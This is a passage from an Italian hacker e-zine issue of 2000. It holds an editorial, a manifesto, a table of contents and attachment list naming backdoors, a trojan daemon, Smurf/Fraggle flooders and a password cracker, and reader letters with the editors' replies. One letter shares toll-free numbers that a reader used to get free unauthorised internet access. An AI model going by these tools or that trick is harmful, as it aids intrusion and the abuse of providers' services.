/* * @-,',.,',.,',.,',.,',-@ * | _ _ ____ _ | * | | \ | | _____ _| __ )(_) ___ ___ | * -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+- * : | |\ | __/\ V V /| |_) | | __|__ \ : * | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | * @-,',.,',.,',.,',.,',-@ * */ #include "allegati/disclaimer.h" #include #define zine&date "NEW BIES (num 7) (24/11/Y2K/1:50A.M.)" #define authors "Dante Alighieri & N0bodY88" #define deds "Noborinooo mio senza di te NB non era NB" FILE *NewBies.txt; DEDICHE LEGALI ------------------------------------------------------------------------------ Il numba di questa zina dedicato tutto al Nobacchione mio a cui spero di poter andare presto a dare tanti bacini sul suo regal deretano :***. A chi amo. Anke tutti gli amiconi di #acaac #mahccc #fotografix tutti i Softpj, gli SPP, AiS e tutti quelli a cui (come noi) piace perdere un p di tempo per scrivere 2 cazzatine :)))) Dante Alighieri---NewBies StaFf ------------------------------------------------------------------------------ Dante Alighieri e NobodY88 in qualita' di redattori e responsabili del NB Staff chiedono umilmente scusa ai loro lettori per la pubblicazione in allegato del "manuale di C" avvenuta nello scorso numero. Tale manuale non era opera di colui che sosteneva di averlo scritto, bens di F.Bernardotti il cui unico scopo era quello di una donazione volontaria per la lotta contro l'AIDS. Pertanto rinnoviamo le nostre scuse nella speranza che simili incovenienti non accadano piu'. Preghiamo in oltre tutti i lettori che si dovessero accorgere di altri casi di "ripping" o simili di avvertirci immediatamente... provvederemo all'immediata espulsione del soggetto dal NB Staff e se possibile alla sua eliminazione fisica e/o digitale ;P. NewBies Staff. PREMESSA Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88-ooo INTRODUZIONE by Dante Alighieri Sputo fuori qualcosa che mi e' maturato dentro. Durante il corso della storia il nostro mondo e' stato sconvolto da catasrofi e rivoluzioni radicali che hanno di colpo soppiantato i precedenti stati, e' la lagge del progresso. Per poter progredire non si puo' far altro che distruggere, abbattere tutto di colpo, e soppiantare con il nuovo. Lo hanno capito i rivoluzionari del '68, lo hanno capito i jap che ogni 10 anni abbattono tutti i palazzi e li ricostruiscono, lo hanno capito tutti i rivoluzionari del mondo. Le persone che danno vita al progresso la pensano in modo diverso, si differenziano dalla massa, ma son pochi, e per affermare le loro idee son costretti a lottare, a nascondersi, ma lo fanno per la societa'. Quando mi ritrovo a discutere con la gente ed inevitabilmente critico le grandi societa' che tentano di monopolizzare la nostra terra, c'e' sempre qualcuno che mi dice: se non fosse per loro, tu non avresti il computer, non ci sarebbe sviluppo. Ma cosa CAXXO intendete per sviluppo??? forse lo sviluppo delle grandi societa'! forse lo sviluppo dei loro capitali! non del popolo, non nostro... e' un regresso che ci viene spacciato per progresso. Se un giorno, come loro vogliono, dovessimo pensare tutti in egual modo, non ci sarebbe differnziazione, il "progresso" sarebbe gestito da loro, nella direzione in cui loro vogliono. Non fatevi gettare fumo negli occhi, non fatevi pilotare. Il nostro movimento non e' dettato dalla semplice curiosita', e' istinto di sopravvivenza, e' il nostro animo che si ribella, che lotta contro chi cerca di ostacolare o prendere il posto della natura. Non intendo proclamarci eroi, non voglio affermare di essere uno di coloro che cambiera' il mondo, siamo solo uno dei tanti strumenti della natura ed in quanto tale siamo una forza inarrestabile. "Anche se riuscirete a fermare me, non riuscirete mai a fermarci tutti", recitava un famoso manifesto, ed io aggiungo: solo, sono un timido venticello, insieme siamo una tempesta. ͻ ARTICOLO ͹ AUTORE ͹ |PREMESSA N0bodY88-ooo | |INTRODUZIONE DanteAlighieri | |INFO SUGLI ALLEGATI DanteAlighieri | |LA POSTA DEL FRATELLO NOBO! ;) N0bodY88-ooo | |HACKING NewBies Staff | Double Dragon Backdoor tHE rECIdjVO Fileutils Backdoor DanteAlighieri Daemon TROIO DeViLNeT Double Dragon Backdoor SFE tHE rECIdjVO BacK-d00r CgI DarK-Elf |LINUX NewBiesStaff | Smurf Fraggle ???? Mettiamo un lukketto ad X :) SoSpIrO Fate "ciao ciao" con la manina a kppp DeViLNeT Una rete Linux Server - Windows Client DeViLNeT |PROGRAMMAZIONE NewBiesStaff | WinGate Connector (ci mancava=) tHE rECIdjVO Impariamo il Tcl/tk lameggiando un po' Bakunin Costruire un server unix compatibile col telnet di windows tHE rECIdjVO |TEORIA NewBies Staff | PThreaD Tutorial (R)ipley IProute2 [-ElViS-] |CRACKING (?) NewBies Staff | |Webcracker 4.0 The DISO |PHREAKING NewBies Staff | Nuove FoTo by TbA (allegati) TbA |ELETTRONICA & MASTERIZZAZIONE NewBies Staff | Rilevatore di microspie [Telecoz] Masterizzare che passione! korg uN CD-RoM CoN CDRWin 3.7C NiTrO ByPaSSing CdRoM pRoTeCtIon korg HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff | LinkZ (allegato) DanteAlighieri |DIVERTIMENTO CAZZATE SVAGO E QUANTO O NON POSSIBILE NewBies Staff | Piccola Lezione iniziale di IPNOSI e AUTOIPNOSI smav LA SCUOLA TI ROMPE? ROMPI LA SCUOLA ???? |SALUTI NewBies Staff | |THIS NUMBA IS DEDICATED BY N0bodY88-ooo & DanteAlighieri To: OurSeLf! | ͻ Ŀ RIEPILOGO LINK IN ORDINE ALFABETICO ٺ ͼ [ Anarchy in the system ---------------------------> http://aisprod.tsx.org ] [ Ask Bub ------------------------------------------> http://www.askbub.com ] [ Attila Hack ------------------------------> http://www.attilahack.cjb.net ] [ Crypto -----------------------------------------------> http://kz.cjb.net ] [ BFI ------------------------------------------> http://www.s0ftpj.org/bfi ] [ Deandreis --------------------------------------> http://www.deandreis.it ] [ Dislessici -----------------------------------> http://www.dislessici.org ] [ Lord Guf --------------------------------------------> http://guf.cjb.net ] [ Metro Olografix -------------------------------> http://www.olografix.org ] [ NetRunners -----------------> http://www.spippolatori.com/h/netrunner.htm ] [ Packet Knights Crew ------------------------------> http://www.pkcrew.org ] [ Polizia --> http://www.poliziastato.it/informatica/6%20-%20Operazioni.htm ] [ Quequero ---------------------------------------> http://quequero.cjb.net ] [ Come Mai l'Url Di Quequerino sotto quello della polizia?! ----> ahhahahah ] [ RFC (sito dove le potete trovare) ------------> http://www.faqs.org/rfcs/ ] [ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ] [ RouterSimulator -------------------------> http://www.routersimulator.com ] [ Softpj -------------------------------------------> http://www.s0ftpj.org ] [ SoftWord -----------------------------------> http://softword.webjump.com ] [ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ] [ Spippolatori -------------------------------> http://www.spippolatori.com ] [ T0rment0 -------------------------------> http://web.interpuntonet.it/xj/ ] [ Vana - Imago -----------------> http://members.xoom.com/eripper/index.htm ] [ Valvoline -------------------------------------> http://valvoline.cjb.net ] [ Wannabe ----------------------------------> http://www.attilahack.cjb.net ] NOTA DI DanteAlighieri = Volete che il vostro URL sia in questa lista? no prob here...mailateci e lo inseriremo :) ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۲۰۰۰۰۰۰۲۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ 2 PAROLACCE SUGLI ALLEGATI :Pp Dante Alighieri - DeVdaemon.c Sorgentino di demone TroJano universale by DeViLNeT leggete l'articolo per comprendere meglio :) - wgc.c WinGate Connector by tHE rECIdjVO anonymous datapipe that uses WinGate addresses - Linkz Serie di linkz a siti correlati by Dant'inculo Alighieri - ddb.tar.gz Double Dragon Backdoor by tHE rECIdjVO - pthread.tar.gz Esempi correlati all'articolo di (R)ipLey sui PThreaD - rootilities.tar.gz Sorgenti di utilities sempre utili codate da tHE rECIdjVO - disclaimer.h Libreria sempre utile in questi casi ;) - Foto Telecum by TbA - bd-cgi.c Back-d00r CgI by DarK-Elf - ddb-sfe.tar.gz Double Dragon Backdoor Speciaf Firewall Edition by tHE rECIdjVO - tcltk.tar.gz Manuale sulle tcl/tk di Bakunin DMMMM MMMM AAAA III LLL 3MMMMM MMMMM AAAAAA III LLL DMMMMMM MMMMMM AAAAAAAA III LLL 2MMMM MMMMM MMMM AAAA AAAA III LLL 5MMMM MMM MMMM AAAA AAAA III LLL MMMMM MMMM AAAAAAAAAAAAAA III LLL 4MMMM MMMM AAAA AAAA III LLL vMMMM MMMM AAAA AAAA III LLLLLLLLLL OF n0body88@freemail.it Salve a tutti innanzitutto mi vorrei scusare con tutti x il fatto che a causa del lavoro e di impegni di diversa natura ho avuto poco tempo ultimamente per dedicarmi a NewBies e per questo ringrazio la mia dolce meta' Dantuzzo, che per questo numero ha fatto tutto da solo o quasi, o almeno io non l'ho aiutato purtroppo quindi o s'e' fatto il mazzo oppure ha lavorato con qualcuno quindi un grazie 1000 a Dante :D. Ora siccome il tempo e' quello che e' ho deciso di curare per la prima volta da quando c'e' NewBies, una sezione delle mail arrevatemi x NewBies, cosi' potro' raggiungere piu' persone dando le risposte qui, sperando di chiarire non pochi dubbi e di farvi pure fare qualke ..risata eheheh ;) Ok si comincia: Da: Davide A: n0body88@freemail.it ciao nobody,sono davide,un ragazzo che ha cominciato ad entrare nel mondo degli hacker. ho letto molte vostre e-zine e mi sono piaciute;l'articolo che mi ha colpito e' stato quello dell'uomo che era stato messo in carcere x essere entrato in computer importanti.spero che tu legga questa e-mail e mi dia dei consigli,da dove cominciare. ciao Caro Davide come redattore di NewBies e conoscente di piu' o meno molte storie simili o quasi a quella da te citata sappi che se il tuo scopo e' finire in galera x aver bucato chissachecosa allora qui non troverai nessun aiuto xche' noi ci battiamo per diffondere anke quel poco di conoscenza di cui noi disponiamo e quindi il ns scopo (cosi' come dovrebbe essere il tuo) e' di conoscere, il piu' possibile, in piu' campi possibili, ma non di certo per potere dire "Io sono" o "Io so" ma semplicemente per non farsi fregare da chi pensa che installando un firewall si sia sicuri, o che usando Windows si usa l'unico SO decente. Andiamo avanti se no finisco x finire un'altra volta sul manifesto di Mentor... ------------------------------------------------------------------------------ Da: ROOTto A: NoBody Ciao N0bodY88 sono uno sporco lamah che per il momento si limita a leggere NewBies e provare qualkosina su linux. Non sono un hacker ne mai lo diventero' pero' e' fastidioso sentire parlare di hacker invece si pensa ai cracker. Ho deciso di mandare una e-mail (ancora non l'ho fatto attendo te :-) ad inter.net in cui mi sfogo. In questa mail ho incluso la traduzione fatta da x-h4ck3r del Manifesto di Mentor. Non avendo trovato l'indirz e-mail di x-h4ck3r chiedo a te se posso utilizzare nel mio sfogo tale traduzione del manifesto. Complimenti per l'e-zine e' la + indicata a chi kome me e' all'inzio a quando il prossimo num ? ROOTto Allora prima di tutto saluto X-Hacker mio fratellino Spp che spero di conoscere prima o poi in irl, dopodiche'...certo che puoi usarlo! Tutto puo' essere preso da NewBies come ho sempre detto solamente non dimenticate di mettere la fonte x correttezza di chi si e' sbattuto x creare qualcosa (di giusto non so ma che c si sbatte quello e' certo :D ). Per quanto riguarda i mass media non badarci, Dj Gruff direbbe, i sucker rimarranno per sempre sucker... ------------------------------------------------------------------------------ Da: Anonimo A: nobody88 ciaooo nobo', come va?? Tu molto probabilmente non mi conosci (anzi sicuramente...abbiamo chattato solamente una volta su irc) ma io ti conosco abbastanza bene :) Ti scrivo per complimentarmi con te x la stupenda Ezine che state pubblicando anche se ho da farti un appunto: la rivista e' splendida, i contenuti vanno benissimo x uno come me che si sta avvicinando piano piano al mondo dell'hacking, ma secondo me passa troppo tempo tra l'uscita di un numero ed un altro. Puo' darsi che ci sia + lavoro di quanto mi aspetti alle spalle ma se riusciste a mandarla "on-line" + spesso sarebbe meglio.... nel frattempo io leggo e rileggo all'infinito i numeri gia' usciti. Aspettando Newbies 6....... ByeZzz Eccolo qui NewBies 6...avevi dubbi? :Ppppppppp cmq il fatto e' che NewBies e' nata da me e Zerocool ed e' portata avanti tuttora Da Dantuzzo e me come una semplice passione, non un lavoro e quindi nasce dal tempo sacrificato non solo da noi due ma da tutti gli scrittori, il cui numero non fa di certo andare in overflow i ns buffer ;) Avanti un'altro... ------------------------------------------------------------------------------ Da: Pasqus A: Ciao n0body88 io sono un aspirante hacker e mi sto cimentando nel reperire informazioni su alcuni utenti tanto per tenermi in allenamento. Un mio amico hacker mi ha detto di andare su www.astalavista.com dove avrei trovato informazioni sull'hacking ma io ho trovato solo informazioni in inglese. Non e' che tu potresti consigliarmi qualche sito sull' hacking. Da internet mi sono scaricato cyberkit (una raccolta di programmi). Un saluto particolare da un futuro hacker (spero) Scheletrum. Rispondimi alla E-Mail pasqus@***.it (se sai un modo per modificare il proprio indirizzo E-Mail dimmelo visto che a me fa cagare). Ti rispondo solo questo: www.spippolatori.com www.s0ftpj.org www.linux.it www.deandreis.it neworder.box.sk packetstorm.securify.com www.securityfocus.com www.technotronic.com ftp.technotronic.com docs.riner.ru Quando hai letto tutto quello che c'e' da leggere su questi siti, e l'hai capito (soprattutto), allora vedrai che avrai preso due piccioni con una fava, avrai imparato l'inglese..e forse anke qualcosina di hacking! ------------------------------------------------------------------------------ Da: Anonimo A: nobody88 io vorrei sapere come posso fare per crakkare un programma??????????????????????????????????? o un gioco?????? ????????????????????????? io vorrei diventare un vero e proprio hacker ma prima ho bisogno di tanti consigli. ti prego rispondi. Ti consiglio di leggere il piu' possbibile, sperimentare piu' che puoi, e soprattutto di non sentirti dio appena sai fare qualcosa, xche' la conoscenza la puoi apprendere, un carattere di merda invece e' difficile levarselo ;) E cmq anke volendo e avendo tutto il tempo possibile, non posso portarti x la via, posso solo indicarti dove imboccarla... ------------------------------------------------------------------------------ Da: Capotribu A: n0body88@freemail.it Subject: Segnalazione Crew Ciao, volevo segnalarti l'URL del nostro sito in modo da aggiungerla all'elenco su NewBies (tra l'altro due membri hanno anche pubblicato del materiale su NewBies6: CyRaX e Fake) E' nella signature. A presto e grazie :-) Capotribu http://www.programmazione.it/knights Packets Knights Member capo@technologist.com (e' cambiato porkou2.. ora e' www.pkcrew.org ;P by Dantuz) Beh che dire ragazzi: e' un sito che spacca eccome :D e il gruppo ancora di piu'... sono i tipici ragazzi che a 5 anni codavano in asm sotto linux con una benda sugli occhi e mentre si sparavano una s....ehm ecco dai diciamo solo che sono bravi ;) Un salutone speciale ai bros Fake, Cyrax e recidjvo, che sanno talmente bene il c da pensare di riscrivere a modo loro IL LINGUAGGIO C di Kerningan e Ritchie ;) hihihi ciauxx brosssssss ------------------------------------------------------------------------------ Da: ic3man A: n0body88@freemail.it ciao,volevo sapere se la mitica NEWBIES si e' fermata al numero 5 o se ne sono uscite altre ed in questo caso dove posso trovarle. grazie di tutto!!!!!ti saro' sempre riconoscente!!!! ciao!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Mhmm...secondo te? :Ppp ------------------------------------------------------------------------------ Da: andreagrip A: Ciao, sono un lettore della tua e-zine e devo farvi i complimenti perche' trattate molti argomenti in maniera specifica e ampliando notevolmente discorsi interessanti. Ma veniamo al motivo della mia mail (che fa caldo e ti vedo gia' un po' scazzato a leggere 'sta mail); un po' di tempo fa mi sono registrato al servizio di free internet di ALTAVISTA "Free&Fast" tanto per provare un po' se era cosi' veloce come molti dicevano. Arrivato ad un certo punto della registrazione cosa mi vedo ??? Orcucan, vedo che ci sono 2 numeri ("i famigerati GREENZ") a cui ci si puo' attaccare col modem (praticamente ti colleghi ma puoi navigare solo sul sito di altavista in previsione che tu cerchi delle info riguardanti il tuo abbonamento o help vari). Potrebbe esserci l'eventualita' che un sysoppo del cavolo abbia lasciato uno spiraglio per la rete ??? Nei primi giorni che stavo testando l'abbo ho deciso di provare i 2 GREENZ e vedere se c'era una porta da cui uscire per andare a fare un giro free&fast per la rete, beh, sono riuscito a collegarmi a ftp.tripod.it e uploadare il mio sito !!! Ho cosi' uploadato 5 Mb (in 30 min., neanche tanto lento per un 56k,dai...) totally FREE !!! Siccome sono un Newby (ma sto leggendo tantissimo e provando... provando...) mi chiedevo se voi della krew possiate utilizzare queste info per scoprire qualcosa di internettante... - aBOUT: i numeri GREENZ sono questi: 800900126 800900134 -iNFO: per registrarsi al servizio Free&Fast (powered by W1N|)): http://www.altavista.it/free/index.jsp Ciao, spero che cio' possa essere utile (anche magari per la e-zine...) -=|[5n1p3R]|=- 2000 http://digilander.iol.it/snipercrew Ho pubblicato questa mail solo xche' i green non sono nascosti ma in bella vista sul sito famigerato...vedete voi se farne qualcosa o no di queste info cmq in ogni caso tnx a 5n1p3R. ------------------------------------------------------------------------------ Da: Taleco A: Ciao sono Alessandro e volevo chiederti qualcosa sul 1 numero del newbies!!! Dante Alighieri ha scritto un articolo "Cambio i nomi e te lo metto in culo" Per far funzionare questo metodo servono Win 32/16 Dasm e Hiew! Qui dice reperibili in rete, ma dove cazzo li trovo, se cerco 32/16 dasm mi esce qualche 50 siti di linux, io ho windowz! Ho scritto a te perche' non trovo l'email di Dante Puoi rispondere a taleco@ciaoweb.it Dantuz@freemail.it Dante :PPppppppppppppppp hihihihi a parte gli scherzi devi cercare wdasm e vedrai che lo troverai subito, e cmq ti consiglio di farti un giretto sul sito del mio bludbro Quequero a www.uic-spippolatori.com e vedrai che c'e' tutto e forse anke di piu' :D Gia' che ci sono salutoni a Quequero e a tutta la uic (ps: quando e' che si bigia i corsi e si va tutti insieme a fumare come dannati al parco??? mah questi hackari....drogati si'.. ma di computer!!!). ------------------------------------------------------------------------------- Da: [Jimmy] A: Ciao, mi chiamo [Jimmy] e leggo Newbies. Ho notato che mai e' stato affrontato nella e-zine un argomento abbastanza importante: la programmazione della shell Unix. Io, pur non essendo assolutamente un esperto, potrei dare il mio umile contributo. Fammi sapere se l'idea interessa Ciao [Jimmy] E me lo domandi??? Certo che si'! Spero che questo serva...d'ora in poi non domandatemi se farlo o no...fatelo e poi mandatemelo..che a parte "Come far godere una donna con la lingua in 20 modi diversi" di un old bro e "Come hackerare il 66,6% dei redattori di NewBies" di Smav non vedo altri articoli che non potrebbero vedere la luce su NewBies ;) hihihihi :Ppp ( :* dedicated to the wonderful smav :*********************** ) ------------------------------------------------------------------------------ Da: }4NG3L0{ A: n0body88@freemail.it ..il cielo si skuarcio' e da un lampo di luce accecante sfreccio' via un ssogno... Mi presento sono }4NG3L0{, sono un newbie. Ho skritto per 2 semplici motivi: 1) avrei bisogno di sapere se tu conosci altri newbie che vivono a Torino o dintorni perche' ho urgente bisogno di mettermi in contatto con qualcuno che abbia la mia stessa passione per... il sapere 2) voglio farti sapere la mia disponibilita' a partecipare all' e-zine, (sempre che ce ne sia bisogno), le mie conoscenze non sono quelle di un'hacker ma me la cavo abbastanza Ti saluto facendo i complimenti a te e a tutto lo staff per l'ottimo lavoro svolto... ti prego di rispondermi soprattutto riguardo al punto 1. ..vola alto tra le nuvole, e' scuro, freddo e veloce... e' un'angelo nnero. >>>>>> }4NG3L0{ <<<<<< d4rk4ng3l@libero.it Non serve a nulla dire potrei scrivere, cominciate a far vedere che avete voglia di buttar giu' qualcosa e mandatecelo, poi potrete sollazzarvi col sullaz (Xunil e Valerio rulezzz). --------------------------------------------------------------------------------- Da: VALERIO A: 'Nobody88' ehm.non.so'.come.iniziare-sta'.lettera cmq.ciao.sono.valerio... uno.dei.tanti.che.ti.scrivono volevo.complimentarti.con.te.....cazzo.6.-un.grandeeee > 1.72 cm sai..mi.piacerebbe.sapere.tutte.le.cose.che.sai.tu > mhmmh ci metti 2 mesi +o- infatti..mi.sto'.avvicinando.all'universo.h4ck... >quando lo raggiungi mandami na cartolina che io nin lo ho ancora trovato.. pero'.non.sono.ne'.h4ack.ne.pre-h4ack..ne.n3wb13 >io so newbies e me ne vanto invece :PPPpppppp hihihi infatti.l'unico.modo.per.sentirmi.tale...eh.sai.fare.tutte.quelle.stronzate che.-fanno.quelli.che.non.sanno.neanche.cosa.vuol.dire..nuke,smurf,e.altre. robe.del.genere intendiamoci..sono.un.l4m3r.del.cazzo! >ecco l'hai detto :P ma..forse.anche.questa.parola.non.e'.adatta.perche'.non.riesco.nemmeno.be= ne.a.settare.il.firecaz..e.a.usare.il.B.O. cacchio.che.sfigato.che.sono.... >una giornata no capita a tutti...ma soprattutto CHE CAZ CI TROVI A SCRIVERE >CON QUESTI BIIIIIIIIIIPDI PUNTINI IN MEZZO?????????? ho.letto.la.vostra.rivista...ma.riesco.a.capire"poche.cose.di.pochi.articoli" >meglio che non capire nulla...li sarebbe un problema =) quindi...niente,.non.so'.come.potrei.fare.a......apprendere? >studiando? mi.rompo.di.usare.il.looksharp.e.non.sapere.nemmeno.quello.che.faccio forse.e'.un.po'.troppo.tardi...ho.17.anni. >io ne ho 20 e ho avuto il primo pc a 17... ma.mi.piacerebbe.veramente.... ma.devo.iniziare.da.0......anzi.da..1...almeno.ho.imparato.una.cosa.legge= ndo.la.rivista: lamer=merda >naaaa semplicemente lamer=ignoranza mi.consigli.qualcosa? >psicofarmaci x la depressione, una donna x passare il tempo, un buon manuale >di linux x imparare e due dosi di marjuana, poi mischiare il tutto e lasciare >in forno finche' non prende quel colorito color hackaro... hihihi a parte gli >scherzi...smettila di darti addosso e credi un po' in te, solo cosi' ne esci... ------------------------------------------------------------------------------ Da: x * A: n0body88@freemail.it Salve, innanzitutto voglio ringraziare tutti voi per quello che state facendo...siete fantastici!!! Siete riusciti a farmi appassionare a questo entusiasmante mondo... > lieti di esserci riusciti :D Comunque veniamo al dunque, dato che il mio obiettivo nno e' quello di farvi perdere tempo: Avrei bisogno di chiarimenti riguardo all'argomento "cracking" ed in particolar modo riguardo alla "sostituzione dei jumps"! Ho seguito alla lettera le istruzioni...ma niente da fare. Il problema e': se non mi trovo di fronte ad un jump che ha come primi due numeri 75...(da sostiruire con il 74) come devo comportarmi? Nel numero uno della vostra dispensa e' stata stilata una lista di tutti i possibili jumps che si possono incontrare ma non ho ancora capito come si utilizza! P.S. voglio precisare che sono riuscito a leggere fino a questo momento solo i primi 2 numeri...per mancanza di tempo. Quindi se dovessi aver fatto una richiesta inopportuna, causata insomma da una mia mancanza, vi prego di scusarmi...e vi assicuro che continuero' a seguirvi!!! (nonostante la mia incredibile ed abissale impreparazione negli argomenti da voi trattati....=non sempre capisco o riesco a seguire i vostri articoli..ma credo sia normale!) Spero di ricevere una risposta al piu' presto! Grazie. >Un solo universale consiglio. www.uic-spippolatori.com Leggiti tutto e poi vedrai che parlerai ai tuoi in esadecimale...hihihi (que gia' lo fa cmq!!!) ------------------------------------------------------------------------------ Da: syscalo A: n0body88@freemail.it Subject: Giudicate voi... Ciao Nobody, sono syscalo. >fratelloneeeeeeeeeeeee!!!!!!!! Leggendo newbies 6 ho notato una strana cosa, che se confermata secondo me sarebbe abbastanza spiacevole! Avete allegato un manuale C che dite che e' stato scritto da un certo Maxipirata; io sono in possesso di un manuale datato 1987!!! che e' identico a quello presentato da Maxipirata e soprattutto e' stato scritto con motivazioni e propositi ben diversi da quelli di mostrare alla gente di sapere... Allego il primo file (l'intero manuale che ho io e' suddiviso in tre file doc), che contiene l'introduzione e le motivazioni che hanno spinto l'autore a scrivere tutto quel bel manuale che giustamente tu definisci "straultracompleto e indispensabile in ogni libreria di un coder" >su quello non sbagliavo cmq eheheh Ho molti dubbi che Maxipirata sia il nick di F.Bernardotti (l'autore del manuale), ma dentro di me (illudendomi) ci spero, perche' altrimenti questo Maxipirata avrebbe fatto una delle cose piu' disprezzate da chi come noi lavora per la diffusione libera dell'informazione. >mi scuso con tutti quanti x questa cosa che mi ha fatto andare in bestia... Spero che verificherai cio' che ti ho detto e che prenderai i dovuti provvedimenti; quanto meno spero venga notificata questa copiatura palese. >Ho preferito farlo qui sulla rivista, e chi ha sbagliato, intenzionalmente, dovra' pagare i propri errori... saluti syscalo ------------------------------------------------------------------------------ Da: pjro A: n0body88@freemail.it Ciao, ho appena iniziato a leggere il primo numero di NeWbIeS e mi sta piacendo un casino!Siccome sono uno ke non perde tempo,prima di continuare a leggere questa favolosa e-zine volevo chiederti se e' possibile partecipare e in che modo,e soprattutto se e' possibile,ogni volta ke esce la e-zine,riceverla via Email a questo indirizzo. Ciao, Pjro P.S.:dimmi ke 88 non e' il tuo anno di nascita,senno' muoio di invidia!:) Sorry ma non distribuiamo la e-zine via mail, se vuoi partecipare basta che ci mandi qualke tuo articolo...per quanto riguarda la data, se l'88 ti fa mori' d'invidia allore diciamo che non sono dell'88, ma dell'89 :Ppppp ------------------------------------------------------------------------------ Da: anonimo A: n0body88@freemail.it Ciao, sono un accanito lettore di NewBies,bhe se cosi' si puo' dire...ho scaricato i 6# martedi' e ho finito ora ora di leggerli tutti :) E' fantastica,dire ke l'ho fatto tutto d'un fiato e' dir poco!Ti ho gia' skritto x sapere se posso ricevere i prox# nella ml,ma ancora niente risposta... Cmq,io sono un grande collezionista di virii da parecchio tempo,ma da un paio di anni a questa parte ho lasciato stare x via ti tante cose (una storia lunga insomma).Prima di questa astinenza ero un buon niubbie,pensa ke a 15 anni sono pure finito al primo hack-it (quello a Firenze),un'esperienza favolosa!Non ke stare la mi abbia dato la qualifica di newbie,ma ho imparato molto...bhe insomma ora ho perso tutto o quasi,e mi piacerebbe ricominciare, spinto anke dalla lettura della vostra e-zine,soprattutto vorrei imparare a programmare in Assembler,ma non ho trovato niente ke mi aiuti,e mi sono kiesto "chissa se il buon NObodY88 ha qualcosa x me...",quindi se non mi sono sbagliato fammi sapere,magari anke solo indicandomi qualke link o mandandomi qualke txt sull'argomento.Grazie e ancora un fiume di complimenti x la e-zine.Ciao Pjro www.uic-spippolatori.com www.programmersheaven.com www.programmazione.it Ti consiglio anke l'Art Of Assembler, anke se piu' che da virus coder, o cracker, la consiglierei a chi volesse in futuro scrivere driver et similari. ------------------------------------------------------------------------------< Da: andm84@libero.it A: n0body88@freemail.it ciao n0body sono un umile possessore di un altrettanto umile PC che vuole dedicarsi a fare il newbie... ho scaricato i 5 file dal vostro sito, e ho stampato il primo (un'ora di stampa ma ne vale la pena); a breve stampero' gli altri... ma torniamo all'argomento principale... anzitutto premetto che non sono il solito testa di cazzo che entra nelle chat e dice:. Sto cercando di imparare il C (certe cose le avete spiegate meglio voi che non libri dedicati, roba da matti!), ho una discreta disponibilita' (sono online >eccerto i miei uomini sono i migliori ;) eheheheh coder rulez! per circa 5 ore al giorno), e fra breve installero' Linux (Mandrake 7.1 che ne pensi?); >che stai prendendo la strada giusta x diventare un buon coder, sistemista >o anke solo x diventare uno a cui piace sapere... insomma per diventare come voi che devo fare? >mhmmm...se ti dico "cosi' come stai facendo" mi mandi affanculo? ciao Byez e corri piu' che puoi che la strada e' molto lunga e spesso in salita... --------------------------------------------------------------------------------- Da: simone A: n0body88@freemail.it Salve, redazione di Newbies, io sono un vostro nuovo lettore.Trovo la vostra rivista veramente interessante e utile per chi come me, si sta avvicinando al mondo del computer da poco. Mi sono imbattuto nella rivista BFI per caso; ho scaricato le varie uscite, le ho lette.certo il livello era un po' avanzato per me, pero' non mi sono dato per vinto e, spinto dalla curiosita', ho cercato ancora, ho letto altre cose, tra cui anche alcuni numeri della vostra rivista. Il mio grande neo e' quello di non conoscere un linguaggio di programmazione e questo mi fa sentire sempre una "matricola" quando cerco di inseguire il mio sogno(forse impossibile) di fare, anche solo, capolino nel suggestivo mondo dell'hacking. Purtroppo la scuola non mi ha dato una tale competenza, sebbene io sia un perito in elettronica e telecomunicazioni.Spero di poter rimediare visto che nel Newbies 6 ho trovato il manuale del c. Mi piacerebbe tantissimo partecipare alla vostra rivista in qualsiasi modo.Se vi puo' interessare lavoro in un negozio che vende componenti elettronici. Ciao a tutti. Simone Che ne dici di scrivere un mini corso di elettronica a puntate su NewBies? O di spiegare qualke bell'aggeggino fico? O di regalarmi 2 ore di sesso con una donna da te pagata? Mhmm so che quest'ultima cosa non giovera' ai lettori di NewBies, ma a me si' :D eheheheh Cmq se hai tempo e voglia scrivici qual cosa k? Che abbiamo bisogno di gente volenterosa come te e altri sopra citati. ------------------------------------------------------------------------------ Da: NeVErSLeEp A: n0body88@freemail.it ciao.. mi chiamo NeVErSLeEp.. ed il mio nick la dice tutta! Faccio i salti mortali per trovare "un po'" di tempo per leggere cose relativo al mondo hacker che mi ha risucchiato da vari mesi :-) In pratica non dormo piu' visto che non riesco a rinunciare a nulla.. alle bevute con gli amici in discoteca.. alla mia ragazza.. al gioco d'azzardo.. all' universita' (sto per laurearmi in ingegneria...!). >credimi secondo me l'hacking viene dopo gli amici, dopo un istruzione e >vuoi che non venga dopo le donne? (diciamo cosi' mo che ci sentono ;) hihihi Visto che la mia curiosita' e' infinita ed il mio essere maniacale nelle cose che faccio.. da qualche parte devo pur trovare il tempo.. quindi passo nottate intere vicino al mio pc a leggere "roba" presa in rete.. purtroppo sottraendo tempo al sonno.. che per me e' un piacere infinito :)) ..ora.. dopo averti rotto (spero non del tutto altrimenti non mi risponderai ! :))) vengo alla cosa che ti volevo chiedere.. ..in 